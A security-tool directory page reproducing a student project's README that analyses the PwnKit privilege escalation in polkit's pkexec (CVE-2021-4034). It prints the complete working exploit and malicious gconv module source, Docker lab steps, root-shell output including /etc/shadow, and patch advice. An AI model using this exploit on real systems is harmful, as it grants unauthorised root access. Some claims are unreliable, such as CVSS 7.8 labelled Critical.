Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/krleejihyeong/whs4_cve-2021-4034
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónCTFPruebas de PenetraciónAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHubkrleejihyeong/whs4_cve-2021-4034

WHS4_CVE-2021-4034

Whitehat School 4.ª promoción: análisis de CVE-2021-4034 y redacción de POC

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-4034 (PwnKit) - Local Privilege Escalation PoC

🔗 Proyecto original: berdav/CVE-2021-4034
Este proyecto es una versión analizada y modificada del original con fines educativos.
Cumplimiento de la licencia MIT | Tarea educativa de White Hat School


📋 Descripción general

CVE-2021-4034 es una vulnerabilidad de escalada de privilegios local en policykit-1 (PolicyKit) de Linux. Un usuario normal puede ejecutar pkexec sin argumentos para aprovechar una falla en la estructura de la memoria del proceso y, a través de ella, hacer que glib vuelva a referenciar cadenas de variables de entorno que deberían haber sido filtradas, logrando cargar un archivo .so malicioso y obtener privilegios de root.

⚠️ Solo con fines educativos: este código debe utilizarse únicamente en sistemas modificados.
Su uso para atacar sistemas reales puede acarrear responsabilidad legal.


🎯 Resumen de la vulnerabilidad

Es fácil malinterpretarlo como un problema exclusivo de Ubuntu, pero como se trata de un defecto de lógica del propio pkexec, la mayoría de las distribuciones que usan polkit se ven afectadas. Como el entorno de prueba con Docker es Ubuntu 20.04, esa versión se incluyó en la tabla anterior.


🔴 El núcleo de la vulnerabilidad

Al principio del análisis pensé que era un problema "causado por no validar las variables de entorno", pero al revisar juntos el código fuente y el commit del parche me di cuenta de que el orden es un poco diferente. La causa real es otra, y el problema de las variables de entorno es más bien la consecuencia que se deriva de esa causa. A continuación se resume el flujo en orden de causa y efecto.

1. ¿Qué es pkexec?

pkexec es un programa SUID-root que solicita elevación de privilegios a través de PolicyKit.

root@kitploit:~
# 예: root 권한으로 명령어 실행
pkexec /bin/id
pkexec systemctl restart service

Lo usa un usuario normal cuando necesita realizar determinadas tareas con privilegios de administrador.


2. La verdadera causa raíz: pkexec no maneja el caso de argc == 0

La función main() de pkexec, en la parte que procesa los argumentos de la línea de comandos, no valida el caso en que se ejecuta sin ningún argumento (argc == 0). Este es el verdadero punto de partida de la vulnerabilidad.

  • Ejecución normal: argv = {"pkexec", "comando", NULL} → argc >= 1
  • Ejecución durante el ataque: execve("/usr/bin/pkexec", {NULL}, env) → argc == 0

Cuando argc es 0, en la lista argv solo queda un NULL que indica el final. Sin embargo, la lógica interna de pkexec intenta leer y escribir en el inexistente argv[1] incluso en esta situación. El problema es que, cuando Linux ejecuta un proceso, coloca el arreglo argv y el arreglo envp (variables de entorno) uno justo al lado del otro en memoria. Por eso, el argv[1] fuera de límites en realidad apunta directamente a envp[0], es decir, a la primera variable de entorno.

root@kitploit:~
정상 상황:  argv = [ "pkexec" | NULL ]
공격 상황:  argv = [ NULL ]                 ← argc = 0
                    ↑
             존재하지 않는 argv[1]에 접근
                    ↓
      메모리상 바로 뒤에 있는 envp[0]을 읽고 쓰게 됨 (out-of-bounds)

¿Por qué es peligroso?

  • Normalmente, ld.so elimina las variables de entorno peligrosas como GCONV_PATH, LD_PRELOAD antes de que se ejecute el programa SUID (pkexec), al considerarlas inseguras.
  • Sin embargo, debido al comportamiento OOB anterior, la cadena ya eliminada no se "restaura como variable de entorno", sino que queda en un estado en el que se puede volver a referenciar desde el puntero argv. Es decir, no es que el valor reviva, sino que se vuelve a crear la conexión de puntero que apunta a ese valor.
  • El commit del parche real también corrigió esta parte añadiendo una validación que termina el proceso inmediatamente si argc < 1. (Corresponde a CWE-125 lectura fuera de límites y CWE-787 escritura fuera de límites)

📌 En resumen: la falta de validación de variables de entorno es "la condición que permite el ataque", y la vulnerabilidad real (causa raíz) es que pkexec no maneja el caso argc == 0. El punto 3 a continuación es la consecuencia derivada de esta causa.


3. Consecuencia: las cadenas que debían filtrarse vuelven a ser referenciables

Gracias al comportamiento OOB descrito en el punto 2, esta cadena se vuelve a utilizar sin validación durante el proceso de inicialización de glib por parte de pkexec.

root@kitploit:~
// CVE-2021-4034_exploit.c
char * const env[] = {
    "GCONV_PATH=.",      // 원래는 ld.so가 걸러냈어야 함
    "CHARSET=PWNKIT",    // 존재하지 않는 인코딩
};

execve("/usr/bin/pkexec", args, env);  // argv는 비워서 argc=0을 만듦

El problema:

  • Debido al OOB del punto 2, esta cadena vuelve a quedar en un estado referenciable y fluye sin filtros hasta la etapa de inicialización de glib
  • Desde el punto de vista de glib, no hay forma de distinguir si este valor es una variable de entorno normal que ya existía o si fue revivida por el atacante

4. Explotación del mecanismo de carga de converters de glib

Lo importante aquí es que glib no tiene la culpa. Que glib busque el converter en esa ruta cuando GCONV_PATH está configurada es su funcionamiento normal. El problema es que pkexec ya ha roto el estado de ejecución segura (el estado en el que se eliminan las variables de entorno peligrosas) — glib simplemente actuó con normalidad, y es precisamente ese comportamiento normal el que se explota.

  1. Comprobación de la variable de entorno CHARSET

    root@kitploit:~
    CHARSET=PWNKIT
    
  2. Búsqueda de la definición del converter en el archivo gconv-modules

    root@kitploit:~
    module UTF-8// PWNKIT// pwnkit 1
    
  3. Carga del archivo .so desde GCONV_PATH

    root@kitploit:~
    GCONV_PATH=. → 현재 디렉토리에서 pwnkit.so 검색
    
  4. Ejecución automática de la función de inicialización del archivo .so

    root@kitploit:~
    // pwnkit.c - .so 파일 로드 시 자동으로 실행됨
    void gconv_init(void *step)
    {
        setuid(0);           // root 권한 획득
        setgid(0);
        execve("/bin/sh");   // root shell 실행!
    }
    

    Es fácil llamar a gconv_init una "función constructora", pero estrictamente no es lo mismo que __attribute__((constructor)) de C. En concreto, es la función de inicialización definida en la interfaz del módulo gconv, y glib la invoca explícitamente tras cargar el .so con dlopen.


5. Flujo completo del ataque

root@kitploit:~
┌─────────────────────────────────────┐
│ 일반 사용자 (uid=1000)               │
└─────────────────────────────────────┘
          │
          │ 1. argv 비우고 pkexec 실행 (argc=0)
          │    + 악의적 환경변수 설정
          │    GCONV_PATH=.  /  CHARSET=PWNKIT
          ↓
┌─────────────────────────────────────┐
│ pkexec 실행                          │
│ argc 검증 없음 → OOB → 문자열 재참조 │
└─────────────────────────────────────┘
          │
          │ 2. glib이 정상 동작대로 처리
          │    CHARSET=PWNKIT 인코딩 검색
          │    GCONV_PATH=.에서 converter 찾음
          ↓
┌─────────────────────────────────────┐
│ pwnkit.so 로드                       │
│ (현재 디렉토리의 악의적 .so 파일)     │
└─────────────────────────────────────┘
          │
          │ 3. gconv 초기화 함수 자동 실행 (root 권한!)
          ↓
┌─────────────────────────────────────┐
│ root shell 획득 ✅                   │
│ uid=0(root) gid=0(root)              │
└─────────────────────────────────────┘

🚀 Inicio rápido

Requisitos necesarios

  • Docker (o Docker Desktop)
  • git
  • Entorno Linux (o WSL 2)

Comandos de ejecución

root@kitploit:~
# 1. 프로젝트 받기
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034

# 2. 최신 버전 확인
git pull origin main

# 3. 빌드 (캐시 없이)
docker compose build --no-cache

# 4. 실행
docker compose up

Se recomienda usar docker system prune -a --volumes --force solo cuando el método anterior no funcione porque la caché o los volúmenes estén corruptos. Es un comando bastante agresivo que borra toda la caché de Docker del sistema, por lo que también puede eliminar la caché de otros proyectos. El detalle está documentado en la sección "Problemas encontrados y soluciones" de más abajo.

Resultado esperado

root@kitploit:~
pwnkit  | 현재 권한 (공격 전): uid=1000(WHS4_student)
pwnkit  | # id
pwnkit  | uid=0(root) gid=0(root) groups=0(root)  ← 성공! ✅

Resultado real


📁 Estructura del proyecto

root@kitploit:~
WHS4_CVE-2021-4034/
├── docker-compose.yml          # Docker Compose 설정
├── Dockerfile                   # 취약 Ubuntu 20.04 환경
├── start.sh                     # 컨테이너 초기화 및 자동 실행
├── Makefile                     # 빌드 설정
├── CVE-2021-4034_exploit.c      # Exploit 코드 (pkexec 호출)
├── pwnkit.c                     # 악의적 .so 파일 (권한 상승)
├── gconv-modules                # glib converter 매핑
├── README.md                    # 이 파일
└── LICENSE                      # MIT License

💻 Análisis del código del PoC

CVE-2021-4034_exploit.c

root@kitploit:~
#include <unistd.h>

int main(int argc, char *argv[])
{
    // pkexec에 실행할 프로그램을 지정하지 않음
    // (args에 NULL만 있음) → 이게 곧 argc=0을 만드는 부분
    char * const args[] = {
        NULL
    };

    // 🔴 검증되지 않은 악의적 환경변수
    // argc=0으로 인한 OOB 덕분에 다시 참조 가능해져 pkexec에 그대로 전달됨
    char * const env[] = {
        "GCONV_PATH=.",          // converter 경로 (현재 디렉토리)
        "CHARSET=PWNKIT",        // 존재하지 않는 인코딩
        "SHELL=/bin/sh",
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // pkexec 실행 (인자 없이 → argc=0 트리거)
    execve("/usr/bin/pkexec", args, env);

    return 0;
}

Clave:

  • Al no incluir ni siquiera el nombre de pkexec en args, se consigue que argc sea 0 → se dispara la causa raíz (falta de validación de argc)
  • GCONV_PATH=. : una vez que es referenciable de nuevo gracias al OOB, glib busca el converter en esa ruta
  • CHARSET=PWNKIT : induce a glib a buscar el converter para esa codificación

pwnkit.c

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// .so 파일을 converter로 인식하기 위한 함수 (형식상 필요)
void gconv()
{
}

// 🎯 CVE-2021-4034의 핵심
// .so 파일 로드 시 glib이 dlopen 후 명시적으로 호출하는 초기화 함수
// 이 함수가 root 권한으로 실행된다! ← 핵심 취약점!
void gconv_init(void *step)
{
    char * const args[] = {
        "/bin/sh",      // root shell 실행
        NULL
    };
    char * const env[] = {
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // root 권한 명시적 설정 (이미 root이지만)
    setuid(0);
    setgid(0);

    // root shell 실행 ← 권한 상승 성공!
    execve(args[0], args, env);

    exit(0);
}

Clave:

  • gconv_init() no es un atributo de constructor de C, sino una función de inicialización que glib invoca directamente después de dlopen, según la especificación de la interfaz del módulo gconv
  • Como pkexec se ejecuta con privilegios de root, esta función también se ejecuta con privilegios de root
  • Por lo tanto, al ejecutar un shell después de setuid(0), se obtiene directamente un shell de root

✅ Resultados de verificación

Los resultados de verificación siguientes se basan en la implementación manual del entorno y la explotación directa. Es decir, si usas la ejecución rápida no obtendrás los resultados que se muestran a continuación.

Si quieres obtener estos resultados, debes construir el entorno manualmente utilizando el Dockerfile, start.sh, etc. de este repositorio.

Sin embargo, en el caso de start.sh y Dockerfile, se automatizaron para ajustarse al formato de la tarea, por lo que si los usas tal cual es posible que no obtengas el resultado deseado.

Por lo tanto, debes modificar esos archivos directamente.

Antes del ataque

root@kitploit:~
$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

Privilegios reales antes del ataque

Esa captura corresponde en realidad al momento en que el exploit tuvo éxito por primera vez; en la imagen se muestran los privilegios del usuario.

Ejecución del ataque

root@kitploit:~
$ ./CVE-2021-4034_exploit

Nota: el exploit en sí no necesita sudo. Como pkexec ya es un binario SUID-root, obtener un shell root únicamente con privilegios de usuario normal es el núcleo de esta vulnerabilidad. En el entorno de prueba con Docker se usó sudo -E en alguna ocasión, pero era solo por conveniencia de ejecución para comprobar la configuración NOPASSWD y no tiene relación con la vulnerabilidad en sí.

Después del ataque

root@kitploit:~
# id
uid=0(root) gid=0(root) groups=0(root)

# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (root만 볼 수 있는 내용)

Privilegios reales después del ataque

En la imagen se puede ver que se obtienen privilegios de root después del ataque real.

Si quieres ver de forma más general el antes y el después del ataque, se recomienda mirar la imagen de la sección ### Privilegios reales antes del ataque de arriba.

✅ ¡Escalada de privilegios exitosa!


📊 Métricas de evaluación

Reproducibilidad

Reproducción exitosa en un entorno Docker basado en Ubuntu 20.04 (policykit-1 0.105-26ubuntu1). Como aún no se han realizado muchas pruebas repetidas, se planea ejecutar varias veces más variando las versiones del kernel y de la distribución para ir completando los resultados.

Risk Score: 7.8 / 10.0 (Critical, según CVSS 3.1)

  • Privilegios requeridos: no es un ataque remoto, sino local, y no implica elusión de autenticación remota. Con solo haber iniciado sesión con una cuenta de usuario normal, se puede atacar sin privilegios adicionales (Privileges Required: Low). Es decir, no significa que "no se necesite autenticación en absoluto", sino que "el inicio de sesión es necesario, pero no se requiere ningún privilegio adicional".
  • Vector de ataque: solo local (Attack Vector: Local) — esta vulnerabilidad no se puede explotar directamente de forma remota; primero hay que obtener acceso a un shell local.
  • Alcance: Scope: Changed. Como pkexec se ejecuta con privilegios de root a través de PolicyKit, un componente independiente de gestión de privilegios, cuando se explota la vulnerabilidad el impacto supera el dominio de privilegios donde se originó el ataque (usuario normal) y afecta a otros dominios de seguridad (root, y todo el sistema gestionado por PolicyKit). Por eso el Scope se evalúa como Changed en CVSS.
  • Factores de impacto: confidencialidad, integridad y disponibilidad (C/I/A), todos en High
  • Referencia: Detalle del vector CVSS de NVD

🛡️ Métodos de defensa

Respuesta inmediata

root@kitploit:~
# 1. 패치 업그레이드 (권장) 
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1

# 버전 확인
dpkg -l | grep policykit-1
# 0.105-26ubuntu1.1 이상이어야 함

Restricción de sudo

root@kitploit:~
# /etc/sudoers 수정 (sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"

Depuración de variables de entorno

root@kitploit:~
unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET

El parche es la solución de fondo; las dos medidas anteriores son más bien paliativos que se pueden usar hasta que se aplique el parche. La validación de argc es un problema que solo se resuelve corrigiendo el código de pkexec, por lo que bloquear únicamente las variables de entorno no lo impide por completo.


⚠️ Problemas encontrados y soluciones

Problema 1: no se encuentra el comando docker-compose

Causa: en Ubuntu 24.04 no existe docker-compose (v1), solo docker compose (v2)

Solución:

root@kitploit:~
# docker compose 명령어 사용 (v2)
docker compose up

Problema 2: "solicitud de contraseña: sudo password for WHS4_student"

Causa: la configuración NOPASSWD del Dockerfile no se está aplicando correctamente (problema de caché de Docker)

Solución:

root@kitploit:~
docker compose build --no-cache
docker compose up

Si aún así no funciona, borra completamente la caché e inténtalo de nuevo.

root@kitploit:~
docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache

Problema 3: la actualización de GitHub no se refleja en el equipo local

Causa: los archivos locales se mantienen en una versión anterior

Solución:

root@kitploit:~
# GitHub에서 최신 버전 받기
git pull origin main

# 파일 확인
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"

# 다시 빌드
docker compose up --build --no-cache

Problema 4: "The container name is already in use"

Causa: queda un contenedor anterior existente

Solución:

root@kitploit:~
# 컨테이너 제거
docker compose down
docker rm pwnkit -f

# 다시 실행
docker compose up

Problema 5: "permission denied" (permisos de archivos)

Causa: los permisos de los archivos creados en Docker son de root

Solución:

root@kitploit:~
# WSL/Linux에서
sudo rm -rf WHS4_CVE-2021-4034

📚 Referencias y fuentes

Proyecto original

  • Autor: berdav
  • Repositorio: https://github.com/berdav/CVE-2021-4034
  • Licencia: MIT License
  • Partes tomadas como referencia:
    • La estructura básica de CVE-2021-4034_exploit.c
    • La implementación de gconv_init en pwnkit.c
    • El formato del archivo gconv-modules
    • El método de compilación del Makefile

Modificaciones y adiciones de este proyecto

Autor: krleejihyeong

Partes creadas/modificadas:

  • ✅ docker-compose.yml: configuración del entorno de ejecución en Docker
  • ✅ Dockerfile: configuración automática del entorno vulnerable (dbus, polkitd, ajustes NOPASSWD)
  • ✅ start.sh: script de ejecución automática (automatización completa desde la compilación hasta la ejecución del ataque)
  • ✅ README.md: análisis de la causa raíz de la vulnerabilidad (falta de validación de argc), resultados de reproducción, evaluación de riesgo y guía de resolución de problemas
  • ✅ Comentarios y explicaciones en coreano: mejora del entendimiento de la vulnerabilidad

Material de referencia

  • Qualys: análisis detallado de CVE-2021-4034
  • NVD: CVE-2021-4034
  • Documentación oficial de PolicyKit

📄 Licencia

Este proyecto se rige por la licencia MIT.

root@kitploit:~
Copyright (c) 2026 krleejihyeong (수정 및 분석)
Copyright (c) 2021 berdav (원본 PoC)

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.

Consulta el archivo LICENSE para más detalles.


👤 Autor

  • krleejihyeong - análisis, modificación, configuración del entorno Docker y redacción de la documentación
  • berdav - creación del PoC original (https://github.com/berdav/CVE-2021-4034)

⚠️ Aviso legal

Este proyecto ha sido creado exclusivamente con fines educativos.

  • ✅ Dirigido a CVEs públicos
  • ✅ Probado únicamente en sistemas parcheados
  • ✅ Uso bajo la autorización del administrador del sistema
  • ✅ Con el objetivo de comprender la vulnerabilidad y reforzar las defensas

El acceso no autorizado a sistemas informáticos puede ser sancionado legalmente.


Última actualización: julio de 2026

Descargar herramienta
ElementoContenido
CVE IDCVE-2021-4034
Nombre de la vulnerabilidadPwnKit
Versiones afectadasVersiones de polkit sin el parche anterior a 0.105 (según el entorno de prueba: policykit-1 0.105-26ubuntu1 de Ubuntu 20.04)
Tipo de vulnerabilidadLocal Privilege Escalation (LPE)
SeveridadCritical (CVSS 7.8)
Versión parcheadapolicykit-1 >= 0.105-26ubuntu1.1
Fecha de descubrimientoJunio de 2021 (publicada en enero de 2022)